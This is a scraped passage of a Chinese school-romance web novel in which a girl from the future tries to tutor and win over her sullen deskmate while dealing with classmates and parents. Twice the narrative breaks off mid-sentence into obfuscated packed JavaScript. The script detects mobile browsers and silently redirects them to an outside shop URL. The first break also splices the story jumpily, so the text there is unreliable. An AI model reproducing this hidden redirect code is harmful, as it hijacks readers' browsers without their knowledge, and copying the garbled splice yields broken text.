男人冷静了下来，夹了一个菜给易川：“我们只是想你好，不同学校氛围不一样的，你也不用有压力，正常读书就好，成绩差没事，我们对你也没有很大目标。” 叶舒听着这些话感到头疼。 一边说“我们不求你有大作为”，一边又把他安排进市里最好的高中；一边说“希望你安心快乐”，一边又像是瞧不起他一般重复着“你成绩差”的事实。 好矛盾的说辞。 他的努力、为难、委屈都被无视了，最后，只能被父母的“为你好”绑架。 父母总是想把最好的给孩子，可是这个“好”真的不是父母自己想要的“好”吗？ 叶舒看向那个垂着眼的易川，他额前的刘海耷拉着，随着他低头的动作，遮住了他半张脸，看不出他现在的情绪。 等等...... 那被碎发遮挡的地方，掉落了一颗晶莹的水珠，消失在了桌面上。 叶舒怔住了。 他......哭了？ 两名大人根本没注意到他的不对劲。 易父兀自叹了口气，眼神流露出深深的遗憾：“当年我们不了解，没给你哥易轩上一个好的高中，只能送他去国外。这是我们到现在都还在遗憾的事，所以我们不想你也这样。” 听着父亲这句话，易川低着头的身体顿了顿。 半晌，叶舒听见他说。 “我知道了。” 易川重新拿起碗筷开始吃饭，神色黯然地嚼着饭。 他妥协了。 他没办法拒绝。 这是个好事，一个他想拒绝也拒绝不了的好事。 如今他父母所做，不过只是求个心安罢了。 他早就被父母放弃了，易轩是，他亦是，只是他如今才想明白。 叶舒看着眼前这凌乱的一幕，心情五味杂陈。 本以为易川这个玩世不恭的有钱子弟是被家里惯坏的，然而没想到内情也这么令人哗然。 真是家家有本难念的经。 叶舒早就知道易川是借读生。 借读生这一事在静海高中并不特别，由于户口、成绩不够等原因交借读费来上静海高中也实属正常。学校氛围很好，并不会对这些同学有所偏见。 而易川那么大的反应，她大概能猜到原因。 一是因为他这时候还不懂借读生的含义，其次就是他的自尊心和潜意识的懂事让他不愿意被迫上静海高中。 叶舒忽然想起今晚母亲对自己说的话。 ——“我都是为了你，我是为你好。” ——“如果不是因为你，我就不会与你爸纠缠那么多年。” 似乎大部分人的父母总是会以“为你好”试图告知孩子自己的苦心。 在这点上，她与易川有些相像。 他们都在父母的爱中来回动摇。既没有心安理得地快乐长大，也没法与父母的爱说“不”，所以只能任由被父母的“为你好”绑架。 这句话就像一道枷锁，拴住一个人的一生，让其在逃离与愧疚中来回拉扯，痛苦一生。 叶舒想起后来有人说的那句话——童年的创伤不是一场大雨，而是弥漫一生的潮湿。 …… 感慨间，眼前的场景逐渐扭曲变形。 远方不知何处传来声音，模模糊糊听得不真切，叶舒侧耳倾听，仔细分辨出好像是在叫自己的名字。 “叶舒。” “叶舒......起床了......” 叶舒朦朦胧胧睁开眼，房间门外的灯刺得她眼睛又眯上。 眼前是熟悉的自己的房间。 梦境结束了，她回来了。 “起床了，12点多了，吃饭了。” 叶舒父亲又回到了平时的模样，就像昨晚的吵架没发生一样，把她叫醒便又出去忙自己的事了。 叶舒挣扎着坐起来，脑袋还是昏昏涨涨的。 迷糊间，她在回忆刚刚的梦境，以及最后场景消失时听到的系统的话。 “回忆碎片已全部解锁，祝攻略者攻略顺利。” 13. 他还是没早来 周天下午，返校日。 叶舒到教室时，天还早，一碧如洗。校园里，零零散散的学生出入教学楼。如今已是十月底，空气中已经有了凉爽的气息。 靠着栏杆往下望，几片树叶随风打着旋儿落下。 看来过不了多久便要入秋了。 叶舒还不想回教室写作业，便站在教室外，眺望远处的建筑发呆。 今早换校服时，她注意到膝盖处有两块小淤青，摁下去略微有些疼。 都在告诉她周末那晚不是梦，她又回到了“噩梦”的时期。 思绪飘忽之时，身后突然被人拍了拍，将她吓得不轻。 她回头，对上一双水灵灵的大眼睛。 “怎么不进教室？” 江菱背着包，笑盈盈地看着她。她刚爬上楼，饱满的脸颊上还残留着红润。 叶舒见来人是江菱后，本不悦的心绪消了一半，“才出来没多久。” “噢~”江菱拖长音，随后忽然想到什么，边脱下书包边说，“对了，你写数学作业了吗？我最后那几道实在不会。” “写了，我拿给你看看吧。”叶舒拉着江菱进教室。 一进门，叶舒便感受到一道莫名其妙的视线，她抬眼，与那道视线交汇——林康正望着她们方向。 目光幽深，令人不适。 因为林康这熟悉的审视的目光，过去的记忆片段在叶舒脑海中显现。 高中的时候，林康是她的死对头。 当年文理分科后，两人进了一个重点班。 林康成绩虽好，却是个爱炫耀之人，用现在的话来说就是“凡尔赛”。 他是班里名列前茅的人，表面谦卑恭逊，实则极其高调，颇有“城府”。 即使无人询问，他也总多次强调自己“成绩差劲”；每次大型考试后，总能在教室里听到林康浮夸地重复表达“自己没考好”；课间，还时常能看见他叨扰正在学习的同学。 叶舒看不惯他的行为，时不时便会直截了当地讽刺他“凡尔赛”的话语。 此外，叶舒常年第一，总压林康一头，林康便拿她当假想敌，暗戳戳地与她较劲。 后来，叶舒被易川拒绝一事闹得沸沸扬扬，即使这事随着时间推移逐渐被同学们淡忘，但林康偶尔还会在班里提起这件事，并故作同情地安慰叶舒。然而，谁都能看出，林康实际就是想当众挖苦她。 桩桩件件数起来，叶舒对这眼前人，可真摆不出什么好脸色。 叶舒犹记得，这时候的林康好感于江菱，时不时便会对江菱示好，一度让江菱十分苦恼。 但是，看喜欢的人为何是他这幅神情？ ...... 林康的视线本落在江菱身上，注意到叶舒后，目光顿时冷下来，甚至还有些轻蔑的意味。 见状，叶舒下意识地也冷冷地扫了他一眼，随后拉着江菱去自己位置上。 直到回到座位上给江菱讲作业时，叶舒才察觉到不对劲。 这时候，她和林康并未结下梁子，也不相熟。 就算是对着非喜欢的女孩，也不会露出轻蔑的表情吧？ 叶舒确信她没错看，林康瞥见自己时，眼里明显闪过一瞬的轻蔑。 正当她疑惑之际，身旁落了一抹阴影，随后一道声音响起：“你们俩好努力啊，这时候也在好好学习。” 叶舒和江菱同时抬头，发现林康不知什么时候走到了她们身边，正看着她们的周末试卷。 叶舒没说话，只是盯着他看，面无表情的她自带生人勿近的气势。 江菱见她不说话，便主动回林康的话：“没有没有，这是叶舒的，我只是来找她请教。” 林康对叶舒故作惊讶道：“这么快就写完全部了？” 江菱局促地笑了笑，看向叶舒。 叶舒低头沉默了一会儿后，微微勾唇：“先在家里写了，你没写吗？” “我没有啊。” “真的？学霸也没写啊？” 林康笑得如沐春风，不知是不是对这学霸的头衔感到很受用，“我真没写，周末作业不就是晚自习写吗？” 叶舒垂眸，默默点了点头：“学霸就是学霸，晚自习就能写完。我不行，所以要提前写。” 林康：“哪里哪里，你上次小测不也考了第一吗？” 林康此言一出，叶舒才顿时明白为何林康刚刚的目光不善。 因为上次小测她和他并列第一，所以林康就此记住了她。 看来他还是老样子。 叶舒不动声色地勾了勾唇，随后客气地说：“运气原因，要不然还是学霸给我们讲讲这题？” 听到叶舒这话，林康顿时故作谦逊，面露难色：“我还没做呢，我不会。” 还没等叶舒再度拉扯几下，林康便逃也似的离开了。 叶舒不禁冷笑，默默腹诽这林康真是个“抠门”的。 以前许多人找他请教题目，他总是百般推辞和谦虚，借口说自己不会、靠感觉。 大方炫耀可以，虚伪就算了。 插曲暂时结束，叶舒与江菱继续赶作业。 片刻后，教室里忽然响起聒噪的聊天声。 江菱耐不住吵闹声，抬头看了看周围，大部分同学都在补作业，只有零星几个人在聊天，为首的竟是林康。 江菱转过头对叶舒悄声吐槽道：“嘿，你觉不觉得，林康好大声，就像是故意吵大家学习一样。” 正说着，林康的声音再度传来，因为教室内安静，所以他的声音显得格外响亮。 林康正在对着他的同桌开玩笑道：“别写作业了，待会晚自习不就能写吗？” 林康同桌乐呵一笑，继续埋头苦写，然而林康还是不死心地用脚有规律地轻踢人家的桌脚。 叶舒瞟了动静那处，随后示意江菱不用理他，继续写作业。 那处还在继续传来不小的动静声。 林康：“唉，别写了，晚自习三个小时呢，你还写不完？” 男生：“谁像你啊，大学霸——哎呀，你别踢我桌子！” 脚与桌子的碰撞声一声一声地敲击着叶舒的耳膜。 咚、咚咚、咚…… 这声持续了一分多钟。 “......” 叶舒缓缓抬起头，侧过脸，冲林康喊道：“林康，你作业都写完了？” 没想到叶舒竟敢直接与林康对峙，坐她对面的江菱吓得瞪大眼睛，不敢说话。 林康见是叶舒与他搭话，愣了一下，随后很快回应她：“没啊。” 叶舒：“我看你现在没事，有空来帮我们看看刚刚问的那道数学题吗？” 林康：“我？我不会啊。” “啊~看看都不愿意？好吧......” 叶舒故作玩笑地茶言茶语道，随后略带遗憾地抿了抿唇，便继续低头写作业。 林康的同桌也顺势调侃他：“你个学霸，闲得没事还这么小气——你快写啊，写完给我抄！” 林康表情顿时变得难看，但还是撑着僵硬的微笑，“......待会写完再说。” 见他吃瘪，江菱憋着笑，压低声音对叶舒说：“天呐，你没看到他表情变脸，超难看哈哈哈。” 叶舒掩嘴勾了勾唇。 她抬眼，视线划过时钟——距离晚自习还有半小时。 易川还没来。 - 直至晚自习前15分钟，易川才姗姗而来。 江菱见易川来了，才依依不舍地离开了。 叶舒因着易川不守信而有些烦闷，便没和他打招呼，默默地整理着桌面。 也说不上生气，只是做做样子，她可惯不得易川这样。 易川似乎根本没注意到这问题，还主动与她搭话：“你什么时候来的？” ——竟然还有脸问。 叶舒不冷不热地说：“比你早一小时。” “挺早。” “是啊，毕竟答应了人就是要早点来，你说是吧。” 叶舒脸上没有任何表情，说出的话却别有深意。 易川手里的动作停了一瞬，大概是意识到她在说什么了，他清了清嗓子开口：“我也是早到了。” 虽是解释，但这态度落在叶舒耳朵里倒是没诚意。 叶舒不免嗤笑出声，“早到15分钟也早到？你平常也都这个点来。” 易川：“我平常都踩点来的。” 就连这个时候，易川还能冷静地纠正她的话。 “……”叶舒被他噎住，无可奈何，“......那我谢谢你。” 本以为两人会就此尴尬起来，但易川沉默了一会儿，竟突然开了口：“你，数学作业写完了？” ——竟然还有脸来问她数学作业？ 叶舒不吭声，把桌上的试卷放在另一边且拿书压着，摆明了不想理他。 “......” 易川没再说话了。 大概也赌起了气。 两人就这么杠上了。 叶舒后知后觉才意识到自己不应该这样，但现下让她转头讨好他她也做不到，索性直接冷处理。 余光中，总能瞥到那一抹身影，叶舒心下烦闷，打算起身离开，却被王朗叫住：“叶舒你写数学作业了吗？” “嗯。” “借我看看呗。”他一脸祈求。 叶舒抬眼瞧他，意味深长道：“不给，给你以后你给别人了怎么办。” 王朗注意到叶舒的眼眸下意识地往易川那瞥了瞥。 显然，两人吵架了。 王朗：“好姐姐，我可没得罪你，给我看看后面几题呗，我真不会。” 叶舒没应他，他便苦苦哀求。 在王朗哀求的纠缠攻势下，叶舒最终还是妥协，把试卷给了他。 易川还是一副懒懒散散的模样坐在座位上，手里翻着一本《活着》。 叶舒表面上泰然自若，心里却在思考着下一步的举动。 她本来想的是今天易川若早点到，便可以借着把试卷给他抄的由头教他试卷上的题，结果他还是没早来——甚至半小时也没有。 好不容易看到一点帮易川的希望，又熄灭了。 叶舒起身离开教室，去室外缓缓。 …… 王朗见叶舒出了门，立刻转过身向易川八卦道：“诶，你俩......什么情况啊，冷战？” 易川头也没抬，语气略冲：“关你什么事。” “你告诉我，我好给你们出主意啊。” “用不着。” 王朗拍了拍他的书，取笑他道：“别看了，半天都没翻一页，《活着》又不是文言文，看不懂啊？” “......” “所以因为啥啊？叶舒平常也不容易生气啊。” 易川这才从书中抬眼，眉头轻皱一瞬，随即又低下头，随口回道：“因为我没早到。” 王朗一头雾水：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人莫名其妙又回到了原来的状态，十分钟前的不愉快就像没发生过一样，自动翻篇了。 …… 晚自习铃响了。 教室内变得安静，只剩下书页和笔尖接触的声响。 叶舒正写着作业，忽然，视野边窜出一个本子。 她抬头，本子上写着几个字：【数学卷子，能看吗？】 虽说刚刚两人“重归于好”说了话了，但叶舒的心里还在因为易川迟到且态度敷衍的事生着闷气。 她在本子上写下几个字，后将本子移回易川的桌面。 待易川看清本子上的字后，他眉心跳了跳，抬眼看向她，眼神如同在看一个精神病。 叶舒写的是：【可以，不过你抄完后要都能讲出来怎么做。】 大概是对叶舒的话感到无语，易川直接不写纸条了，扫了眼落针可闻的教室，压低声音道：“你从哪看出我会？” 叶舒状作玩笑道：“那，我教你，你听不听？” 闻言，易川眉毛扬了扬，上下打量了叶舒半晌，直接道：“你疯了？” 他的反应在叶舒意料之中。 叶舒没办法。 总归是要戳破这层纸的，要名正言顺地帮他、教他就只能打直球。 她鼓起勇气，顶着易川鄙夷的眼神，尽可能面色泰然地回道：“我好为人师。” 这种理由易川肯定是不信的。 他更为狐疑地打量着她。 叶舒换了一个理由，低着头硬着头皮说：“我觉得你是个可造之材，所以觉得可以一起学习，一起进步。你觉得怎么样……？” 叶舒说这句话时都不敢看着易川。 果不其然，易川听后，嗤了一声。 “叶舒，你发什么癫。” 叶舒：…… 听着这话，叶舒深吸了一口气，只好顺势换了个借口：“其实我只是觉得王朗老是问我我有点累，所以只要我给你讲完，你就可以跟王朗讲，免得他老问我！” 她一口气说完这段话，随后强忍着内心的心虚盯着易川。 大概是她先前的理由太过离谱，最后这理由易川才勉强听进去。 不过他也没立刻就答应她，而是垂眸斟酌起来。 叶舒看着易川，心下忐忑。 最后的理由虽然漏洞百出，但有两个更为荒诞的理由便衬托着最后的理由也不那么荒谬了。 加之，她能够感受到，易川现在心情还算不错，所以才“铤而走险”直接提出要求。 只是，细细想来还是有些不安。 这种借口真的也太鬼扯了吧！ 说自己是班主任派来的间谍他可能都信…… “说啥呢！”王朗听见两人的对话，又适时插入俩人中间，“这一题我也不会，叶舒，你跟我讲讲呗。” 王朗这话说得太大声，被纪律委员抓个正着，他只好灰溜溜地转了回去。 叶舒恰好不知道怎么回应王朗，纪律委员这一出倒是帮了她。 她心下正松了口气，这时，旁边的人终于说话了。 “行。” “你讲吧。” 14. 他会的 窗外的天色越来越暗，夜幕降临，变为人间灯火的背景。 一声铃响后，原本安静的教学楼沸腾起来。 下课铃响后，易川便出了教室，叶舒趁着他离开，把日记本拿了出来。 刚刚那节晚自习连着教了他几道题，也不知道易川那脑子消不消化得来，反正她是累了。 叶舒摊开本子，把今天所发生的事记录在本子上。 正专注着写着，本子上忽然出现了一片阴影。 她抬头，一个略微熟悉的男生的脸出现在眼前。 叶舒对这个人有点印象，似乎是叫杨乐铉，一个说话自以为幽默的男生。 对各种女生示好，其中有段时间的“受害者”就是叶舒。 叶舒默默合上本子，礼貌开口：“有事吗？” 杨乐铉：“你在干什么？” “......”叶舒被他这直接的搭话弄得无言，但还是耐下性子回了句，“没干什么。” 男生似乎没注意到她态度的冷淡，换了个话题继续说：“你数学试卷写完了吗？” 叶舒不免皱了皱眉。 这是又来一个找她要试卷的？ “嗯，怎么了？” “我想问你这道题，你怎么做的？” 男生见她桌上就是数学作业，便直接俯身看起她的卷子，叶舒看着他这副自来熟的模样，有些不适。 原世界，杨乐铉短暂示好过她，当时叶舒念着是同学不想弄得尴尬，所以只是含糊过去，没有理会他。结果，他转头就说她是个“拜高踩低”的。 杨乐铉见叶舒与易川同桌，他空口无凭地说叶舒见易川长相帅气且家境好便想“纠缠”，还在叶舒陷入被易川羞辱的风波中时，说她“活该被拒绝”。 小小年纪就空口造女生谣。 叶舒才不想给他讲。 王朗现在也不在她身边，叶舒一时纠结怎么打法这厮，犹豫片刻后说：“我把试卷给你看吧。” 杨乐铉打断她，缠着她说：“你给我讲讲呗，我看你刚刚还给王朗他们讲了。” 叶舒动作一僵，这人座位离自己并不近，竟还暗暗关注着她的一举一动吗？ 她不由得起了一身鸡皮疙瘩。 “你在这干嘛？” 一道声音从杨乐铉身后传来。 叶舒向杨乐铉身后望去，易川正站在不远处，一只手插兜，居高临下地看着两人，视线在两人之间来回。 “噢，我来问她题目。”杨乐铉面上有些尴尬，似乎有点心虚，说话也磕巴起来。 他本想的是，趁着易川不在叶舒身边，单独与她说说话。 易川目光下移，扫了眼桌上的数学试卷，“数学？” “嗯。” “哪道？”易川问他。 闻言，杨乐铉愣了一瞬，随即扑哧笑出了声，“你？你教我吗？” 易川是个徒有其表没有内涵的花瓶，全班都知道。 听见他这明显讥诮的语气，易川也没生气，只是跟着弯了弯唇。 叶舒不满杨乐铉这幅小人的讥讽样，看不过眼，寒声道：“他会的。” “？” 易川和杨乐铉同时看向她。 叶舒对上两人疑惑的眼神：“我刚刚告诉过他，他会的。” 大概没想到叶舒为他“打包票”，易川怔忪了一瞬，很快又变回往常的死鱼脸，看不出他在想什么。 杨乐铉将信将疑，随口提了个稍难的大题，想让两人皆下不来台，“那，22题第2问。” 易川垂眼，看着桌上的试卷没有动作。 杨乐铉见他如此，脸上笑意渐深。 下一瞬间，易川伸出手，拿起了桌上的试卷。 叶舒屏气凝神注视着他：拜托，争点气，我刚刚都讲过的。 易川盯着试卷看了好一会，久到杨乐铉脸上的讥笑越来越明显。 须臾，他移开了视线，偏头望向注视着他的叶舒的目光。 叶舒怔了怔。 似是很满意叶舒这表情，易川嘴角扬起一个若有似无的微笑，然后他抬头看向杨乐铉，将试卷递到了杨乐铉眼前。 “设x1小于x2，代入f（x）……” 易川开口说了解题思路。 杨乐铉视线在易川和试卷中来回，愣愣地点着头回应他，明显还没反应过来——学渣易川在教他怎么做题，甚至还能讲清楚。 等易川说完，杨乐铉才抽搐着嘴角，尴尬地夸赞他道：“你、你这么厉害，谢谢啊……” 易川微微勾唇，无所谓道：“她刚刚给我讲的，我照着说而已。” 他话说得体面，但叶舒看出了他笑中的一丝嘲讽。 这种质疑很常见，人们对于差生接受度总是要更低，易川应该也习以为常了。 就像梦境里的小时候的他一样。 ...... 好不容易把杨乐铉打发走了，叶舒这才松了一口气。 “叶舒。” 易川忽然叫住她。 叶舒转头，发现易川正翻着书，并没有看着她。 见她转头，他才缓缓偏过眼，侧脸线条锋利清晰，“你刚刚那么笃定，万一我不会怎么办。” 易川目光定定地看着她，有种逼问的架势。 叶舒如实回答：“我刚刚给你讲过了，你当时说你懂了。” “若我还是不会怎么办？” 叶舒有些莫名其妙，“不会就不会呗，有什么的。” 对面的人表情一顿，似是没想到她这样的答复。 “你——” “那么多人不会，杨乐铉也不会，又不是什么大事。” 叶舒鄙夷地嗤了一声。 易川注视着她，沉吟片刻后问道：“你看起来好像有点生气？” 叶舒向杨乐铉那瞟了一眼，随后收回眼：“他那表情让人看着就不爽，你没感受到吗？” 易川仰了仰头，额前的碎发随着动作拨开，露出眉骨。 他一脸平静道：“多一事不如少一事。” 叶舒：“……” “说到这，”易川拿起水杯，突然转了话头，“你不是和他挺熟吗？我见他先前经常来找你，你怎么这个态度？” 叶舒斜了他一眼，“如果这也算熟，那我们不就算熟上加熟？” “咳咳咳——”听见她这话，正在喝水的易川被水呛了一口，白皙的脖子开始涨红。 他抽了一张纸擦嘴，缓了好一阵儿，肤色才恢复原状。 “你——” 叶舒那三个字“没事吧”还未说出口，便被他打断。 “我们不熟。” “......” 叶舒：……不熟就不熟，没人想和你熟。 - 转眼又一周过去了，又到了周五。 虽说易川言明说两人不熟，但自那之后，他甚少再排斥叶舒的追问，态度也不似从前那般冷淡，似乎逐渐习惯了她的“好为人师”。 这倒是个好兆头。 叶舒暂且没更进一步，她还在寻找机会。 约摸还有半个月就期中考了，希望易川的成绩在此之前能有点成色。 然而，好景不长，好不容易熬到最后一天了，两人又起了矛盾。 这周语文老师布置了同桌互相背诵的任务。 这种任务易川从来不当回事。 本来也不是什么大事，但系统说易川这个“养成系”要日积月累，而且还拿“学霸是全科优秀”的由头逼迫叶舒，导致她不得不哄着易川背书。 叶舒如瘟神一般的反复提醒终于惹烦了易川，直接破罐破摔道：“你直接报我名字，我又不在乎。” 前段时间好不容易积攒的一丝丝好感，好像又烟消云散了。 叶舒已经想就此放弃，但今天她脑海中又想到了一个可行方案。 只好又赌一把了。 “语文科代表说，你不背可以，抄一遍文章就可以了。”叶舒头也不转地对易川说。 易川不屑地冷笑了笑，悠悠地转着手中的笔。 叶舒知道，他不会做这些事。她继续说：“你抄一遍我抄两遍然后交给他就可以了。” 她把自己的练习本递给他：“我抄完了，你可以直接照着我的抄一遍。” 易川手中的笔停下，稍稍抬眼看向叶舒：“你为什么也要抄？” “没背出来抄一遍，同桌没监督好抄两遍。” 叶舒说这些的时候表情很平静，没有任何一点不耐烦，仿佛这是在正常不过的事。 易川的表情顿时变得难看，看着她的本子不知在想什么。 易川：“什么时候定的规矩？” 叶舒：“今早说的。” “......” 易川沉默了许久，久到叶舒以为话题就此结束，她开始忙自己的事后，他才开口。 “所以你就抄了？你没脾气的吗？” 易川漆黑的眼眸盯着叶舒看，眼中竟有一丝愤慨。 叶舒被他这副模样弄得愣住了。 易川：“平时怼天怼地的，之前让你罚抄你还问‘为什么’，今天怎么一声不吭抄完了？” 叶舒从未见过易川这副模样，像是在生气。 冲她吼什么吼，要不是他，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483971|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不至于受着窝囊气。 若是往日，叶舒可受不了这气，但想到自己的计划，她又沉下心来，故作无辜地转了转眼珠，然后认真回答他道：“其实不多，《氓》那篇很少，要不……你就抄一下？” 最后那句话的语气颇为商量。 易川注视着她，仿佛是想看透她，叶舒被他看得发慌，想开口说些什么，他便先移开了视线。 易川把她的本子放至自己桌面，随后，找出了自己的本子——看来是要抄。 她成功了。 叶舒欣然一笑：“你抄完我们也就好交差了。” 易川拿笔的动作滞了滞，随即恢复自然开始抄。 叶舒昨晚找了语文科代表提了这个建议，一开始是想课代表单独去和易川说，结果没想到科代表把这个运用到了全班。 虽说这方法杀敌一千自损两千，但叶舒不过是想再赌一次易川会像上次那样，因为愧疚而不得不做。 显而易见，她再一次赌成功了。 - 最后一节课，心理健康课。 “所以现在有个问题问大家，大家会把学校里发生的烦心事给家里讲吗？学习累、对老师不满、与舍友闹别扭都算。” 心理健康老师抛出了一个互动问题，底下学生窸窸窣窣地各自探讨起来。 老师点了几名同学，大部分都答了会，之后她又换了一面PPT。 PPT上白底黑字：【那么反过来，大家家里有烦心事会与同学倾诉吗？】 老师：“家里有什么事、父母闹别扭、父母与自己闹矛盾、与兄弟姐妹闹别扭都算哦。” 教室安静了下来。 老师点了几名同学，答案都各有不同，有的说会与特别好的朋友说，有的说家里的事不好说，就不会说。 “叶舒。” 老师看着座位表点了一个名字。 叶舒在写数学的周末作业，听见自己名字后，立刻收了笔站起，看了眼PPT上的问题。 “你来讲讲你的想法。” 余光里，易川正侧头看着叶舒，眼中闪过兴味。 家里有烦心事会与同学倾诉吗？这个问题…… 叶舒代入自己，随即想起那鸡飞狗跳的家。 她垂眸，答道：“如果是我，我不会说。” “你能讲讲你的理由吗？” “对我来说——”叶舒思索了片刻，随后一字一句道，“我不会把家里不好的情绪带到学校里影响我自己。” “在家长眼里我们这个年纪就是孩子，不好的情绪不是我们孩子能解决的，自然我的朋友也是。所以家里的情绪和问题不如就留在家里，家里的不快乐也不要连着带到学校了，这样说起码还有一段纯粹的快乐。” 叶舒余光瞥见，易川正望着她，目光幽深。 见状，叶舒微微一笑，笑容有些单纯无辜，似乎这样的回答真的并无其他深意，只是她个人的小小见解。 …… 下课铃声响后，叶舒背上书包准备离开。 “对了。”叶舒想起什么，回头看向易川。 易川抬头看向她，等着她的下言。 “周天记得早点来，你知道的。”叶舒郑重地叮嘱完后才离开。 叶舒经过讲台时，正在收拾东西的老师叫住叶舒。 老师斟酌着开口，声线柔和：“叶舒是吧，刚刚听你的回答我总觉得你有心事，如果你要是在学校不开心或者有什么积压的情绪难以纾解，你可以到1楼心理办公室找我。” 叶舒愣了愣，这才发应过来，是刚刚的回答让老师起了疑心，以为她有什么不快的地方。 老师是好心，但叶舒并不想过多解释，不然显得煞有介事。 “好的，谢谢老师。但其实我没什么的，我现在觉得在学校很开心，在家里也很舒服，而且偶尔有不愉快我觉得也蛮正常的，不会觉得有什么。” 叶舒莞尔一笑，语气平静如水，就像真的无事发生一样。 老师凝视了叶舒一会儿，随后释然地笑了笑：“那你之后有需要或者周围同学有需要的时候都可以直接去心理办公室找我。” 叶舒乖乖地点头应下，准备走时下意识回头环视了教室一眼，与一道目光对上。 易川不知什么时候在她身后不远处，两人视线交汇。 易川瞳孔颤了颤，对她说：“你......” 叶舒脑袋一歪，“？” 男生兀自别开脸，扔下一句：“拜拜。” 叶舒甚至还没来及也回他一句再见，他便快步径直离开了教室。 叶舒：......莫名其妙。 15. 刷好感 周末过完便正式步入了11月，天气已不那么炎热，微风乍起，倒是有初秋的凉意了。 叶舒抵达教室，看向时钟——现在还不到六点，还有一小时上晚自习。 也不知道易川今天会不会提早到。 叶舒刚坐下，陆雯和江菱便来找她要数学试卷看，甚至还有几个女生也来问她问题。 男主还没先攻略，先攻略同学们了。 要是易川也那么容易就好了…… 江菱趁着易川和王朗还没来，坐在叶舒面前写着作业。 没一会儿江菱便崩溃道：“啊啊啊，好难啊，我一道都看不懂！”她抓着叶舒的手臂摇了摇，“我以后不会的题能不能都来问你啊？” 叶舒看着江菱，理所当然答道：“当然可以。” 江菱：“好！不过你可能会被我烦死哈哈哈。” 叶舒看着江菱眉开眼笑的样子，也不禁莞尔。 距离晚自习开始还有半小时。 江菱写完一题刚巧一抬头，便看见一抹蓝色的身影越来越近。 易川来了。 他微微喘着气，似乎是赶着上来的。 江菱不由得看了看钟——还有半小时晚自习，明显来得及，他赶着是做什么？ 印象里，易川似乎从未这么早来过。 江菱犹豫着要不要和易川问好，毕竟同学一场，但见易川面无表情地停下脚步，眼露寒意，她一时语塞。 叶舒瞧见江菱发愣，顺着她视线看去，易川正站定在她身旁看着她俩，眼神里有一丝难言的情绪。 这大爷又怎么了？阴晴不定的。 叶舒站起身给他让位，易川没有立刻进，而是瞥了她一眼后才跨步进去。 叶舒正给江菱讲解题目，旁边的易川把自己的作业一本一本地丢在桌面上，弄出一阵声响。 叶舒没空理会他，继续和江菱说话。 直至她给江菱讲完，叶舒才幽幽地对旁边的易川寒暄道：“今天来得很早。” 那头沉默了一会儿，才回她：“不是你说要早点来吗？” 他语气略带不满。 叶舒微微一笑当作回应，随后继续和江菱说话。 易川便托着脑袋，看着两位女生认真地探讨着题目。 “你在听吗？” 叶舒忽然偏过头来问易川。 易川一时没反应过来，慢半拍回复：“……在听。” “听懂了吗？” “没，你觉得我能听懂？” “……” 叶舒把试卷移到他桌面，“这题刚刚给江菱讲过了。江菱，要不你讲给他听？” 天赐的好机会就摆在眼前，她不能不试。 如果江菱不愿意，叶舒当然不会勉强，毕竟易川平日给人的形象确实不佳。 但若是能成，应该能让易川“好好听讲”吧...... 希望易川不要辜负她的煞费苦心。 江菱很好说话，应了声好便认真地重新复述了一遍解题过程。 不过她看起来很怕易川，眼睛就没和易川对视过，表情大义得仿佛是要参加竞选。 易川难得没有回绝人，微微蹙眉听着江菱的讲解。 “我先去上个厕所。”叶舒找个了借口，溜了出去。 “叶舒。”易川忽然叫了她的名字。 她回头，易川一副欲言又止的模样，却迟迟不说话。 叶舒只好先行打破尴尬，说：“你听讲啊，别待会回来我又要讲一遍。” 听到这，易川的表情才松动些，而叶舒也趁此机会，离开了教室。 江菱徐徐讲完，偷瞄了瞄侧方的男生，懦懦地问：“你听懂了吗？” 易川回过神，语气惯常的冷淡，直言道：“没有。” “……”江菱抿了抿唇，略显无奈，“......那我再讲一遍。” 易川：“......” - 教室外。 叶舒难得心情舒畅地哼起了歌。 许久不见的系统再次出现：【你现在心情那么好？】 叶舒：【不用我讲题我心情当然好。】 系统嗔怨她道：【我劝不要按你的计划走了，万一偏离了怎么办？】 叶舒：【该挡的挡不住，不如为我所用。】 叶舒走近教室，在外面窗口远远地观望着。 两人还在讲题，平日桀骜不羁的易川竟难得那么安静地听着江菱讲题，画面很和谐。 想起平时她给易川讲题，还要做小伏低，看他的脸色。 果然，人在自己喜欢的人面前就是不一样。无论哪个时空，人的喜欢都不会变的。 叶舒回了教室，江菱也回了座位，又剩下她与易川两人。 叶舒主动打破沉默，眉眼间带着些笑意，问他：“刚刚那道题讲完了？” “嗯。”易川回答，声音低沉。 叶舒注意到易川情绪不高，以她原来的经验，易川有这种低气压的时候尽可能不要去打扰他，以免惹祸上身。所以叶舒没有多问，只是默默地把自己试卷递给他，让他自己看。 易川拿过她的试卷，随意地放在一边。 叶舒望过去，随后发现了一本摊开的练习本——上面写着“检讨”两个大字。 她记起来了。 上周，某节晚自习，她和易川在小声讨论题目，王朗听见后便转头来说自己也要听。 三人拉锯下结果被纪律委员发现并记了名字，每人一千字检讨。 而易川因为之前多次没写过检讨，数罪并罚，罚写两千字。 上周班主任亲自找易川谈话了，所以这检讨肯定是要写的了，再不写的话怕是要叫家长了。 叶舒看着易川练习本上寥寥几行字。 看来他不希望被叫家长。 叶舒回想起最后一次梦境中他的父母，他大概也是不想以这种形象被叫家长的。 “你在干嘛？”叶舒主动询问。 易川缓缓看向她，适才眼中的戾气削减了少许，“老何要我交两千字检讨。” 闻言，叶舒来了兴趣。 如果她帮了他，刷一波好感，他对她会不会更好一点？ 如此想着，叶舒便对他说：“要不我帮你写？”< 